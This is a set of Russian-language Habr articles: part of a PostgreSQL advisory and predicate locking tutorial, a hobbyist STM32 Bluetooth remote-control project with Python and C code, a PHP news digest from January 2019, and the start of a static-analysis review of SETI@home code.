Чтобы блокирование действительно работало, другие процессы также должны получать его блокировку, прежде чем обращаться к ресурсу. Соблюдение этого правила, очевидно, должно обеспечиваться приложением.
В приведенном примере блокировка действует до конца сеанса, а не транзакции, как обычно.
```
=> COMMIT;
=> SELECT locktype, objid, mode, granted
FROM pg_locks WHERE locktype = 'advisory' AND pid = pg_backend_pid();
```
```
locktype | objid | mode | granted
----------+-----------+---------------+---------
advisory | 243773337 | ExclusiveLock | t
(1 row)
```
Ее нужно освобождать явно:
```
=> SELECT pg_advisory_unlock(hashtext('ресурс1'));
```
Существуют большой набор функций для работы с рекомендательными блокировками на все случаи жизни:
* pg\_advisory\_lock\_shared получает разделяемую блокировку,
* pg\_advisory\_xact\_lock (и pg\_advisory\_xact\_lock\_shared) получает блокировку до конца транзакции,
* pg\_try\_advisory\_lock (а также pg\_try\_advisory\_xact\_lock и pg\_try\_advisory\_xact\_lock\_shared) не ожидает получения блокировки, а возвращает ложное значение, если блокировку не удалось получить немедленно.
Набор try-функций представляет еще один способ не ждать блокировку, в дополнение к перечисленным [в прошлой статье](https://habr.com/ru/company/postgrespro/blog/463819/).
Предикатные блокировки
======================
Термин *предикатная блокировка* появился давно, при первых попытках реализовать полную изоляцию на основе блокировок в ранних СУБД (уровень Serializable, хотя стандарта SQL в те времена еще не существовало). Проблема, с которой тогда столкнулись, состояла в том, что даже блокировка всех прочитанных и измененных строк не дает полной изоляции: в таблице могут появиться *новые* строки, попадающие под те же условия отбора, что приводит к появлению *фантомов* (см. [статью про изоляцию](https://habr.com/ru/company/postgrespro/blog/442804/)).
Идея предикатных блокировок состояла в блокировке не строк, а предикатов. Если при выполнении запроса с условием *a* > 10 заблокировать предикат *a* > 10, это не даст добавить в таблицу новые строки, попадающие под условие и позволит избежать фантомов. Проблема в том, что в общем случае это вычислительно сложная задача; на практике ее можно решить только для предикатов, имеющих очень простой вид.
В PostgreSQL уровень Serializable реализован иначе, поверх существующей изоляции на основе снимков данных. Термин *предикатная блокировка* остался, но смысл его в корне изменился. Фактически такие «блокировки» ничего не блокируют, а используются для отслеживания зависимостей по данным между транзакциями.
Доказано, что изоляция на основе снимков допускает *аномалию несогласованной записи* и *аномалию только читающей транзакции*, но никакие другие аномалии невозможны. Чтобы понять, что мы имеем дело с одной из двух перечисленных аномалией, мы можем анализировать зависимости между транзакциями и находить в них определенные закономерности.
Нас интересуют зависимости двух видов:
* одна транзакция читает строку, которая затем изменяется другой транзакцией (RW-зависимость),
* одна транзакция изменяет строку, которую затем читает другая транзакция (WR-зависимость).
WR-зависимости можно отследить, используя уже имеющиеся обычные блокировки, а вот RW-зависимости как раз приходится отслеживать дополнительно.
Еще раз повторюсь: несмотря на название, предикатные блокировки ничего не блокируют. Вместо этого при фиксации транзакции выполняется проверка и, если обнаруживается «нехорошая» последовательность зависимостей, которая может свидетельствовать об аномалии, транзакция обрывается.
Давайте посмотрим, как происходит установка предикатных блокировок. Для этого создадим таблицу с достаточно большим числом строк и индекс на ней.
```
=> CREATE TABLE pred(n integer);
=> INSERT INTO pred(n) SELECT g.n FROM generate_series(1,10000) g(n);
=> CREATE INDEX ON pred(n) WITH (fillfactor = 10);
=> ANALYZE pred;
```
Если запрос выполняется с помощью последовательного сканирования всей таблицы, то предикатная блокировка устанавливается на всю таблицу (даже если под условия фильтрации попадают не все строки).
```
| => SELECT pg_backend_pid();
```
```
| pg_backend_pid
| ----------------
| 12763
| (1 row)
```
```
| => BEGIN ISOLATION LEVEL SERIALIZABLE;
| => EXPLAIN (analyze, costs off)
| SELECT * FROM pred WHERE n > 100;
```
```
| QUERY PLAN
| ----------------------------------------------------------------
| Seq Scan on pred (actual time=0.047..12.709 rows=9900 loops=1)
| Filter: (n > 100)
| Rows Removed by Filter: 100
| Planning Time: 0.190 ms
| Execution Time: 15.244 ms
| (5 rows)
```
Любые предикатные блокировки всегда захватываются в одном специальном режиме SIReadLock (Serializable Isolation Read):
```
=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
```
```
locktype | relation | page | tuple
----------+----------+------+-------
relation | pred | |
(1 row)
```
```
| => ROLLBACK;
```
А вот если запрос выполняется с помощью индексного сканирования, ситуация меняется в лучшую сторону. Если говорить о B-дереве, то достаточно установить блокировку на прочитанные табличные строки и на просмотренные листовые страницы индекса — тем самым мы блокируем не только конкретные значения, но и весь прочитанный диапазон.
```
| => BEGIN ISOLATION LEVEL SERIALIZABLE;
| => EXPLAIN (analyze, costs off)
| SELECT * FROM pred WHERE n BETWEEN 1000 AND 1001;
```
```
| QUERY PLAN
| ------------------------------------------------------------------------------------
| Index Only Scan using pred_n_idx on pred (actual time=0.122..0.131 rows=2 loops=1)
| Index Cond: ((n >= 1000) AND (n <= 1001))
| Heap Fetches: 2
| Planning Time: 0.096 ms
| Execution Time: 0.153 ms
| (5 rows)
```
```
=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
```
```
locktype | relation | page | tuple
----------+------------+------+-------
tuple | pred | 3 | 236
tuple | pred | 3 | 235
page | pred_n_idx | 22 |
(3 rows)
```
Можно заметить несколько сложностей.
Во-первых, на каждую прочитанную версию строки создается отдельная блокировка, но потенциально таких версий может быть очень много. Общее число предикатных блокировок в системе ограничено произведением значений параметров *max\_pred\_locks\_per\_transaction* × *max\_connections* (значения по умолчанию — 64 и 100 соответственно). Память под такие блокировки отводится при запуске сервера; попытка превысить это число будет приводить к ошибкам.
Поэтому для предикатных блокировок (и только для них!) используется *повышение уровня*. До версии PostgreSQL 10 действовали жестко зашитые в код ограничения, а начиная с нее повышением уровня можно управлять параметрами. Если число блокировок версий строк, относящихся к одной странице, превышает *max\_pred\_locks\_per\_page*, такие блокировки заменяются на одну блокировку уровня страницы. Вот пример:
```
=> SHOW max_pred_locks_per_page;
```
```
max_pred_locks_per_page
-------------------------
2
(1 row)
```
```
| => EXPLAIN (analyze, costs off)
| SELECT * FROM pred WHERE n BETWEEN 1000 AND 1002;
```
```
| QUERY PLAN
| ------------------------------------------------------------------------------------
| Index Only Scan using pred_n_idx on pred (actual time=0.019..0.039 rows=3 loops=1)
| Index Cond: ((n >= 1000) AND (n <= 1002))
| Heap Fetches: 3
| Planning Time: 0.069 ms
| Execution Time: 0.057 ms
| (5 rows)
```
Вместо трех блокировок типа tuple видим одну типа page:
```
=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
```
```
locktype | relation | page | tuple
----------+------------+------+-------
page | pred | 3 |
page | pred_n_idx | 22 |
(2 rows)
```
Аналогично, если число блокировок страниц, относящихся к одному отношению, превышает *max\_pred\_locks\_per\_relation*, такие блокировки заменяются на одну блокировку уровня отношения.
Других уровней не бывает: предикатные блокировки захватываются только для отношений, страниц или версий строк, и всегда с режимом SIReadLock.
Конечно, повышение уровня блокировок неизбежно приводит к тому, что большее число транзакций будет ложно завершаться ошибкой сериализации и в итоге пропускная способность системы будет снижаться. Здесь нужно искать баланс между расходом оперативной памяти и производительностью.
Вторая сложность состоит в том, что при различных операциях с индексом (например, из-за расщепления индексных страниц при вставке новых строк) число листовых страниц, покрывающих прочитанный диапазон, может измениться. Но реализация это учитывает:
```
=> INSERT INTO pred SELECT 1001 FROM generate_series(1,1000);
=> SELECT locktype, relation::regclass, page, tuple
FROM pg_locks WHERE mode = 'SIReadLock' AND pid = 12763;
```
```
locktype | relation | page | tuple
----------+------------+------+-------
page | pred | 3 |
page | pred_n_idx | 211 |
page | pred_n_idx | 212 |
page | pred_n_idx | 22 |
(4 rows)
```
```
| => ROLLBACK;
```
К слову, предикатные блокировки не всегда снимаются сразу по завершению транзакции, ведь они нужны, чтобы отслеживать зависимости между *несколькими* транзакциями. Но в любом случае управление ими происходит автоматически.
Далеко не все типы индексов в PostgreSQL поддерживают предикатные блокировки. Раньше этим могли похвастать только B-деревья, но в версии PostgreSQL 11 ситуация улучшилась: к списку добавились хеш-индексы, GiST и GIN. Если используется индексный доступ, а индекс не работает с предикатными блокировками, то блокировка накладывается на весь индекс целиком. Конечно, это тоже увеличивает число ложных обрывов транзакций.
В заключение отмечу, что именно с использованием предикатных блокировок связано ограничение, что для гарантий полной изоляции *все* транзакции должны работать на уровне Serializable. Если какая-либо транзакция будет использовать другой уровень, она просто не будет устанавливать (и проверять) предикатные блокировки.
> По традиции оставлю ссылку на [README по предикатным блокировкам](https://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/storage/lmgr/README-SSI;hb=HEAD), с которого можно начинать изучение исходного кода.
>
>
[Продолжение](https://habr.com/ru/company/postgrespro/blog/466199/). | https://habr.com/ru/post/465263/ | null | ru | null |
# STM32 и Bluetooth или удаленное управление ПК своими руками
#### Вместо введения
День добрый.
Сегодня я попытаюсь рассказать о своей попытке построить систему удаленного управления ПК в пределах одного помещения.
Сразу отмечу для тех кто скажет велосипед. Да это велосипед. И мне было интересно его построить. По ряду причин. Одна из которых желание сделать своими руками а не купить.
#### Предыстория
В один из дней мою голову посетила идея об удаленном управлении своего ПК, а именно помимо простых команд медиаплееру, ещё и получение обратной связи в виде статуса того или иного приложения и системы в целом. Ближайший аналог сего устройства это ныне модные электронные часы для смартфонов. А так как ничего по близости из похожего по функционалу не нашлось я решил в целях самообразования да и не только собрать эту систему самому.
Один вариантов использовал привычный для пультов ДУ к современной бытовой технике способ передачи данных — IR он же ИК. Однако ввиду того что это не совсем удобно, да и с большими расстояниями проблема. На самом же деле всё проще чем вы можете подумать, тот модуль что я достал из одного и «трупиков» КПК был предназначен для работы именно как приёмопередатчик, то есть не было даже инвертора сигнала. Поэтому когда я подключил его напрямую к преобразователю USB<->UART на отладочной консоли я увидел непрекращающийся поток случайных символов.
Поэтому я решил использовать ставшим для меня привычным BT приёмопередатчик. Также нарыв в закромах оставшийся от одного из тестов модуль ESD-200 (не берите его, он реально неудобный и немного туповатый, а также дорогой модуль, плюс ко всему на больших расстояниях начинают пропадать пакеты). Чтобы не скучно было подцепил экран от Siemens M55. Также есть блок из шести кнопок на которые можно назначить произвольные команды. В качестве мозга выбрал отладочную плату STM32F4DISCOVERY — и отладчик на борту, и паять ничего не надо.
#### Общая схема
Внимание: то что здесь описано присутствует в основном в теории. На практике же некоторые моменты упрощены так как это макет и просто потому что так было быстрее сделать.
Со стороны ПК, на котором кстати Linux (у меня это Gentoo Linux, у вас это может быть любой другой дистрибутив) крутится программа — сервер. Она опрашивает список доступных устройств и найдя нужное устанавливает с ним соединение.
Со стороны устройства стоит триггер который контролирует статус соединения. При обнаружении подключения он вызывает модуль первичного опроса (своеобразный пинг). Который при удачном завершении переводит устройство в интерактивный режим.
Этот режим характерен тем что передачу инициирует любой из двух компонентов системы. Выбран такой принцип работы системы по двум причинам — малое время реакции на любые действия, отсутствие дополнительных таймеров (кроме таймера TIMEOUT со стороны демона на ПК) ну и конечно относительно простой протокол обмена. Хотя по идее нужен TIMEOUT со стороны устройства т.к. при работе с BT модулем иногда возникают проблемы.
#### Реализация
Теперь посмотрим что у нас получилось по выше расписанной схеме:
* Демон который крутится на стороне ПК. Хотя какой там демон, в текущей реализации это скрипт на пару сотен строчек с минимальной обработкой ошибок. Один из самых интересных компонентов. Целиком написан на языке Python. Одной из особенностью данного модуля является то что для управления программами пользователя он использует систему сообщений DBUS. Кстати имплементация этого протокола для языка Python есть в любом современном дистрибутиве. Далее я подробно распишу как работает этот код.
* Протокол для полностью асинхронного многопоточного обмена сообщения, реализован поверх последовательного порта с эмуляцией множества соединений используя систему адресации сообщений. Был придуман после прочтения описания сетевых протоколов и стандартов USB, а ещё я его написал т.к. мне было лениво курить MODBUS, а точнее грустно смотреть на его реализацию.
* Устройство с прошивкой, которое используя модуль Bluetooth передаёт по последовательному порту команды при нажатии пользователем на кнопки устройства. Возможна также обратная связь в виде отображении информации на дисплее устройства. Но к сожалению сделано пока чисто для примера. Передаёт фиксированные команды и больше ничего.
#### Демон
После поиска устройства, мы подключаемся к нему и ожидаем поступления команд. На некоторые из запросов будет дан ответ, на другие же просто будет выполнено определённое действие.
Устроен в прототипе достаточно просто:
```
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import serial
import dbus
import subprocess
import time
import os
# Здесь я убрал никому не нужную инициализацию BT модуля, тем же кому интересно могут взять её из моего полного кода этого модуля, ниже я опишу где взять исходные коды. Также я убрал этот код ещё и потому, что он сделан криво и так делать не стоит в рабочем модуле.
# Обычное подключение к последовательному порту
ser = serial.Serial('/dev/rfcomm0', 115200, timeout=1)
# Подключение к сессии шины DBUS, откуда мы подключимся к плееру медиапрограммы Amarok.
bus = dbus.SessionBus()
am = bus.get_object('org.kde.amarok', '/Player')
# Словарь ключами которого выступают команды которые мы получаем из последовательного порта, а в итоге вызываем соответствующие методы объекта плеера.
commands = {
'p': [am.PlayPause, []],
'>': [am.Next, []],
'<': [am.Prev, []],
'm': [am.Mute, []],
'+': [am.VolumeUp, [1,]],
'-': [am.VolumeDown, [1,]]
}
print 'Connected'
# бесконечный цикл в котором мы и будем работать.
try:
while 1:
try:
# принимаем первый байт нашего сообщения, при этом ждём его не более секунды, если ничего не пришло за этот промежуток значит нам ничего и не присылали.
line = ser.read(1)
# в этой части мы ловим специфичное исключение по которому судим что последовательный порт у нас отвалился
except serial.serialutil.SerialException:
# а так как нам надо работать, то мы закрываем этот порт, и ждём пол секунды пока завершится это действие.
ser.close()
time.sleep(0.5)
while 1:
try:
# позже пытаемся установить соединение вновь
ser = serial.Serial('/dev/rfcomm0', 115200, timeout=1)
break
# если же опять всё плохо, т.е. нам так и не удалось подключится к последовательному порту, то мы ожидаем 2 секунды и повторяем снова наш круг.
except serial.serialutil.SerialException:
time.sleep(2)
# если мы действительно считали байт (а это может быть и не так, потому, что у нас стоит время ожидания этого байта) то,
if len(line) == 1:
# проверяем что это за байт, пока реализован только приём команд
if line[0] == 'C':
print 'Command'
# дочитываем оставшиеся 2 байта заголовка - адрес и размер сообщения
line += ser.read(2)
# не забываем проверить что мы считали именно 2 байта - т.е. размер заголовка должен быть равен 3 байтам.
if len(line) == 3:
print "0x%02x 0x%02x 0x%02x" % (ord(line[0]), ord(line[1]), ord(line[2]))
# это захадкоженный ответ на ping, в реальном модуле он должен быть стандартным для любого адреса, т.к. этот ответ определяет готовность "ящика" к работе с ним.
if ord(line[1]) == 0x00 and ord(line[2]) == 0x00:
print 'Device ping'
ser.write('A')
ser.write(chr(0x00))
ser.write(chr(0x02))
ser.write(chr(ord('O')))
ser.write(chr(ord('K')))
print 'Ansver to device'
# если мы обратились ко второму узлу, то это сообщения общего уровня.
if ord(line[1]) == 0x02:
# получаем длину и считываем сообщение.
mlen = ord(line[2])
message = ser.read(mlen)
# если сообщение есть в словаре команд то выполняем команду которая соответствует полученному сообщению
if message in commands:
current = commands[message]
current[0](*current[1])
# при получении исключения - прерывание от клавиатуры выходим.
except KeyboardInterrupt:
ser.close()
del am
print 'Exiting'
# не забывая закрыть соединение с BT модулем.
# cleaning
cmd = "sudo rfcomm unbind all"
runner(cmd)
```
#### Протокол
Протокол достаточно простой, состоит из трёх байтового заголовка и сообщения с максимальной длиной в 255 байт, равно как может и не иметь сообщения — только заголовок. В заголовке указан тип сообщения, адрес получателя и размер сообщения. Более подробное описание протокола изложено в [этом документе](https://github.com/no111u3/remote/blob/master/remote-all.odt). Конечно на практике реализовано не всё что описано но по крайней мере оно работает. Хотя до сих пор есть проблемы по приёму сообщений и другие ошибки при обмене.
#### Устройство
Вот собственно вид устройства которое у меня получилось, также как и модуль со стороны ПК это устройство делалось как прототип, учитывая горький опыт неудач при постройке первой версии системы:
Управляется устройство прошивкой, написанной на С, для сборки используется собственная структура проекта которую вы можете увидеть пройдя по ссылке на проект ниже.
```
/* main work function */
void work(void) {
unsigned short i, j;
unsigned char mailbox_num = 0;
volatile ProtoIOMBox * mbox;
/* Убрал из примера инициализацию периферии и протокола, а также вывод на дисплей картинок - логотипа. */
// Провека статуса порта перед запуском.
/* check status */
check_status();
// Здесь происходит подготовка "ящиков" сообщений для приём и передачи, а также установка флагов о готовности. после осуществляется вывод сообщения на экран и в случае удачного ответа от сервера переход в режим отправки команд.
/* send ping */
mbox->outbox->header = 'C'; /* Command */
mbox->outbox->size = 0x00; /* 0 for ping request */
mbox->outbox_s = PROTO_IO_MBOX_READY; /* Box ready */
mbox->inbox->size = 64; /* buffer len for control */
mbox->inbox_s = PROTO_IO_MBOX_READY; /* Box ready */
/* wait connection estabilished */
while (status == 0);
/* send ping message */
proto_send_msg(mailbox_num);
/* wait to send message */
while (mbox->outbox_s <= PROTO_IO_MBOX_SEND);
if (mbox->outbox_s == PROTO_IO_MBOX_COMPLETE)
LCD_String("Con", 36, 6, 1, WHITE, GLASSY);
else
LCD_String("Un", 36, 6, 1, RED, GLASSY);
/* get ping message */
/* FIXME wtf? this not work or work parity */
//proto_get_msg(mailbox_num);
/* wait to get message */
while (mbox->inbox_s <= PROTO_IO_MBOX_SEND);
if (mbox->inbox_s == PROTO_IO_MBOX_COMPLETE) {
LCD_String("OK", 36 + 3 * 7, 6, 1, GREEN, GLASSY);
for (i = 0; i < mbox->inbox->size; i++)
LCD_Char(mbox->inbox->message[i], 70 + i * 6, 6, 1, WHITE, GLASSY);
}
else
LCD_String("ERR", 36 + 3 * 7, 6, 1, RED, GLASSY);
// Бесконечный цикл в котором мы опрашиваем кнопки и посылаем команды если одна из них нажата. Допускается множественное нажатие кнопок, в этом случае будут отосланы все те команды которые соответствуют нажатым кнопкам.
/* infinity loop */
while (1) {
if (button_state.state[B_LGHT] == B_CLICK) {
sender('+');
button_state.state[B_LGHT] = B_RELEASE;
}
/* код аналогичен и для остальных кнопок */
}
}
```
Также отдельно хочу упомянуть модуль отправки и приёма сообщений — в проекте это модуль proto.o — исходный код proto.c и заголовочный файл proto.h. Код приводить не буду так как он большой. А вот в целом расскажу как он работает.
Модуль рассчитан целиком на работу от прерываний, однако передача данных корректно не реализована сейчас поэтому требует предварительного вызова инициализации. Приём и отправка сообщения осуществляется с помощью 2 конечных автоматов, которые по мере пересылки байтов меняют своё состояние. Реализована проверка сообщения на валидность и обработка ошибок.
Также прикладываю видео работы системы в целом:
#### Послесловие
Так как в настоящий момент мне пришла новая плата ([BeagleBone Black](http://nis-embedded.blogspot.ru/p/beaglebone-black.html)) и занимаюсь доработкой ПО под эту плату, то я решил раз проект заморожен то я выкладываю его в открытый доступ: [Все исходные коды доступны на моём аккаунте GitHub](https://github.com/no111u3/remote).
Также с удовольствием по возможности отвечу на любые интересующие вас вопросы касательно проекта. | https://habr.com/ru/post/195368/ | null | ru | null |
# PHP-Дайджест № 148 (14 – 28 января 2019)
[](https://habr.com/ru/post/437752/)
Свежая подборка со ссылками на новости и материалы. В выпуске: взломан репозиторий PEAR, о будущем Xdebug, конференция PHP Russia 2019, свежие релизы, RFC предложения из PHP Internals, порция полезных инструментов, и многое другое.
Приятного чтения!
### Новости и релизы
* [Репозиторий PEAR был взломан](https://thehackernews.com/2019/01/php-pear-hacked.html) — Сайт [pear.php.net](http://pear.php.net/) ушел в офлайн и не работает до сих пор. Известно, что в файл go-pear.phar был внедрен вредоносный код. Вы под угрозой, если [вручную скачивали](https://twitter.com/pear/status/1088450623249408003) этот файл после 20.12.2018. Чтобы проверить надо скачать «чистый» файл с [GitHub](https://github.com/pear/) и сравнить контрольные суммы. Для автоматизации имеется [скрипт](https://gist.github.com/mlocati/ba9a9bad0ad5f09cd92c3b2897283b42). Если вы использовали ОС с предустановленным PHP или устанавливали с помощью пакетного менеджера, то крайне маловероятно, что вы когда-либо использовали go-pear.phar. Пока сайт не работает есть обходные пути для [установки PEAR-пакетов](https://twitter.com/pear/status/1088234418039414785) и [сборки PHP из исходников](https://twitter.com/lexbi/status/1088049834270121984).
* [Будущее Xdebug](https://derickrethans.nl/xdebug-experience.html) — Автор Xdebug Derick Rethans рассказал о техническом долге и проблемах расширения. Он [уходит из MongoDB](https://derickrethans.nl/moving-on-from-mongodb.html), где проработал последние 7 лет. В ближайшее время намерен заняться рефакторингом и доработкой Хdebug, а также ищет пути финансирования. Поддержать Дерика можно на [его Patreon](https://www.patreon.com/derickr/overview).
* [Кто оплачивает разработку PHP?](https://thephp.cc/news/2019/01/who-pays-for-php) — В конце поста говорится о том, что организация [igphp.de](https://igphp.de/) совместно с некоторыми ключевыми членами команды PHP планируют решение проблемы финансирования и поддержки PHP, и в скором времени анонсируют его.
* [Компания Perforce поглотит Rogue Wave Software](https://www.perforce.com/press-releases/clearlake-capital-backed-perforce-software-acquire-rogue-wave-software)
* [PhpStorm 2019.1 EAP](https://blog.jetbrains.com/phpstorm/2019/01/phpstorm-2019-1-early-access-program-is-open/) — Стартовала программа раннего доступа PhpStorm, благодаря которой можно первым пощупать новые возможности IDE совершенно бесплатно. Среди нововведений: отладка шаблонов Twig, возможность сортировки импортов (use выражений), поддержка phpcbf для исправления ошибок стиля, и много других улучшений.
*  [Onliner PHP Meetup #3](https://onliner-eng.timepad.ru/event/894821/) — Минск, 9 февраля.
*  [PHP Russia 2019](https://phprussia.ru/) — 17 мая в Москве состоится специализированная PHP-конференция!
О том, как появилась идея и о команде можно прочитать в [посте Александра Макарова](https://rmcreative.ru/blog/post/php-russia-2019--nachalo). Полным ходом принимаются заявки на доклады. А также в Telegram доступны официальный канал [@PHPRussiaConfChannel](https://t.me/PHPRussiaConfChannel) и чат [@PHPRussiaConfTalks](https://t.me/PHPRussiaConfTalks) с обсуждениями.
### PHP Internals
* [[RFC] Null Coalescing Assignment Operator](https://wiki.php.net/rfc/null_coalesce_equal_operator) — Предложение было принято больше двух лет назад. И вот реализация комбинированного оператора с проверкой на null `??=` наконец-то закончена и смержена. Несмотря на кажущуюся простоту задачи, имплементация [оказалась весьма нетривиальной](https://github.com/php/php-src/commit/a50198d0fef652ca052cda642d6e98a9101eb73f).
Итого: `$a ??= $b` эквивалентно `$a ?? ($a = $b)`. В случае `$a[foo()] ??= bar()` функция `foo()` будет вызвана ровно один раз, а `bar()` будет вызвана, если `$a[foo()]` равно `null` (или не установлено).
В тему хороший пост о других [коротких операторах в PHP](https://stitcher.io/blog/shorthand-comparisons-in-php).
* [[RFC] New custom object serialization mechanism](https://wiki.php.net/rfc/custom_object_serialization) — Свежий RFC от Никиты Попова. Предлагается ввести новый механизм сериализации объектов, добавив пару магических методов:
```
// Returns array containing all the necessary state of the object.
public function __serialize(): array;
// Restores the object state from the given data array.
public function __unserialize(array $data): void;
```
Данное изменение призвано исправить проблемы интерфейса `Serialiazable`. К сожалению, исправить сам интерфейс невозможно, но в случае принятия предложения будет рабочая альтернатива.
* [[RFC] Code free constructor](https://wiki.php.net/rfc/code_free_constructor) — Предлагается добавить автоматический конструктор, задача которого инициализировать свойства:**Скрытый текст**
```
class MotorCycle {
public $vendor;
public $cc;
public $whells = 2;
public function __construct($vendor, $cc) {
$this->vendor = $vendor;
$this->cc = $cc;
}
//other methods
}
class MyCustomMotorCycle extends MotorCycle {
public function __construct($cc, $whells) {
parent::__construct("Custom", $cc);
// $this->cc = $cc; this statement will be added within proposed realisation
$this->whells = $whells;
}
}
```
для кода выше предлагается следующий альтернативный синтаксис:
```
class MotorCycle($vendor, $cc){
public $whells = 2;
//other methods
};
class MyCustomMotorCycle($cc, $whells) extends MotorCycle("Custom", $cc){ };
```
### Инструменты
* [API Platform](https://github.com/api-platform/core) — Фреймворк на базе компонентов Symfony для создания API. В новой версии поддержка MongoDB, Elasticsearch, OpenAPI v3 и [много другого](https://dunglas.fr/2019/01/api-platform-2-4/).
* [xobotyi/php-mime-type](https://github.com/xobotyi/php-mime-type) — Библиотека позволяет определить известные расширения по MIME-типу и наоборот. Прислал [xobotyi](https://habr.com/ru/users/xobotyi/).
* [PHPStan 0.11](https://github.com/phpstan/phpstan) — Статический анализатор для PHP. [Анонс релиза](https://medium.com/@ondrejmirtes/phpstan-0-11-5aba0e4108c8). Вдогонку [видео о внутренностях PHPStan](https://www.youtube.com/watch?v=85Aq2rWpGQE) от одного из мейнтенеров.
* [Symplify/Statie](https://github.com/Symplify/Statie) — Простой генератор статических сайтов на PHP. [Быстрый старт](https://www.tomasvotruba.cz/blog/2019/01/07/how-to-create-your-first-php-twig-static-website-under-2-minutes-with-statie/).
* [leocavalcante/siler](https://github.com/leocavalcante/siler) — Микрофреймворк реaлизован на простых функциях без использования классов. Можно использовать со [Swoole](https://siler.leocavalcante.com/swoole)
* [directus/directus](https://github.com/directus/directus) — Headless CMS c API.
* [mgp25/Instagram-API](https://github.com/mgp25/Instagram-API) — Библиотека дает возможность использовать скрытые в официальном API возможности Instagram.
* [bmitch/churn-php](https://github.com/bmitch/churn-php) — Инструмент поможет найти кандидатов на рефакторинг – файлы, которые больше всего изменялись в истории Git и имеют наибольшей цикломатической сложностью.
### Symfony
*  [Видеозаписи SymfonyCon 2018](https://symfonycasts.com/screencast/symfonycon2018) — Среди которых [доклад Фабьена о локальном дев сервере](https://symfonycasts.com/screencast/symfonycon2018/back-to-basics).
* [Неделя Symfony #629 (14-20 января 2019)](https://symfony.com/blog/a-week-of-symfony-629-14-20-january-2019)
* [Неделя Symfony #630 (21-27 января 2019)](https://symfony.com/blog/a-week-of-symfony-630-21-27-january-2019)
### Laravel
* [beyondcode/laravel-mailbox](https://github.com/beyondcode/laravel-mailbox) — Пакет для обработки входящих email.
* [spatie/laravel-eventsauce](https://github.com/spatie/laravel-eventsauce) — Event sourcing для Laravel-приложений на базе [EventSauce](https://github.com/eventsaucephp/eventsauce).
* [vanilophp/framework](https://github.com/vanilophp/framework) — E-com фреймворк для Laravel.
*  Подкаст от Тейлора [Laravel Snippet #2](https://blog.laravel.com/laravel-snippet-2)
### Async PHP
* [dantleech/fink](https://github.com/dantleech/fink) — Инструмент для проверки сайта на битые ссылки. Реализован с использованием [amphp/artax](https://github.com/amphp/artax).
* [reactphp/child-process v0.6.0](https://github.com/reactphp/child-process) — Событийная библиотека для работы с дочерними процессами с помощью ReactPHP. Теперь с поддержкой Windows. Подробнее в [посте](https://www.lueck.tv/2019/introducing-reactphp-child-process).
### CMS
* [magento/magento-coding-standard](https://github.com/magento/magento-coding-standard) — Стандарт кодирования Magento в виде правил для PHP\_CodeSniffer.
* [Рекомендации по использованию Drupal без фронтенда (decoupled) в 2019](https://dri.es/how-to-decouple-drupal-in-2019)
### Материалы для обучения
* Советы по [ускорению подсчета покрытия кода](https://thephp.cc/news/2019/01/faster-code-coverage). Также имеется экспериментальное расширение [krakjoe/pcov](https://github.com/krakjoe/pcov), которое позволяет подсчитать покрытие быстрее, чем phpdbg.
* [Почему важно полировать код до мелочей](https://marcelpociot.de/blog/polish-your-code)
* Интересный пост [об использовании препроцессора](https://assertchris.io/post/2019-01-19-phpx-live) [preprocess.io](https://preprocess.io/) для реализации веб-приложения с коммуникацией по WebSocket.
* [Мое современное рабочее окружение для PHP](https://johnmackenzie.co.uk/post/my-modern-php-development-setup/)
* Классический пост о том, [когда объявлять классы финальными](https://ocramius.github.io/blog/when-to-declare-classes-final/) и [свежее дополнение](https://www.tomasvotruba.cz/blog/2019/01/24/how-to-kill-parents/) к нему.
*  [Создание сторис для Instagram из PHP](https://habr.com/ru/post/436514/)
*  [Работа начинается с тестирования](https://habr.com/ru/post/436714/)
*  [Сравниваем PHP FPM, PHP PPM, Nginx Unit, React PHP и RoadRunner](https://habr.com/ru/post/431818/)
### Занимательное
* [Code Galaxies](https://anvaka.github.io/pm/#/galaxy/composer?cx=1906&cy=4425&cz=-5758&lx=-0.2126&ly=0.8890&lz=0.3145&lw=0.2560&ml=150&s=1.75&l=1&v=2015-12-11T00-38-00Z) — Забавная 3D визуализация взаимосвязей между Composer-пакетами.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 147](https://habr.com/ru/post/435956/) | https://habr.com/ru/post/437752/ | null | ru | null |
# Единорог в поисках внеземного разума: анализ кода SETI@home
*Существует две возможности: либо мы одиноки во Вселенной, либо нет. Обе одинаково ужасны. (с) Артур Чарльз Кларк*
Дискуссии о том, одиноки ли мы во Вселенной, будоражат умы людей уже не один десяток лет. Серьёзное отношение к этому вопросу имеет проект [SETI](http://www.viva64.com/go.php?url=1615), занимающийся поиском внеземных цивилизаций и возможностью вступления с ними в контакт. Об анализе исходного кода одного из проектов этой программы — SETI@home — и пойдёт речь в данной статье.
Подробнее о проекте
-------------------
[SETI@home](http://www.viva64.com/go.php?url=1616) — научный некоммерческий проект добровольных вычислений, использующий свободные ресурсы на компьютерах добровольцев для поиска радиосигналов внеземных цивилизаций. Проект основан на открытой программной платформе для организации распределённых вычислений — [BOINC](http://www.viva64.com/go.php?url=1617), написанной на C++.
В качестве инструмента анализа использовался статический анализатор C/C++ кода — [PVS-Studio](http://www.viva64.com/ru/pvs-studio/). Исходные коды проекта SETI@home доступны на официальном сайте. Инструкцию о том, как собирать проект, найти также не сложно, так что, собрав всё необходимое и приготовив чашечку кофе, я приступил к делу.
Результаты проверки
-------------------
Признаюсь, что перед анализом проекта я был в предвкушении того, сколько проблемных мест удастся обнаружить. Но на моё удивление действительно интересных фрагментов кода (проблемных) оказалось не так уж много, что говорит о его качестве.
Тем не менее, подозрительные места были, и некоторые из них я бы хотел рассмотреть.
### Для разогрева
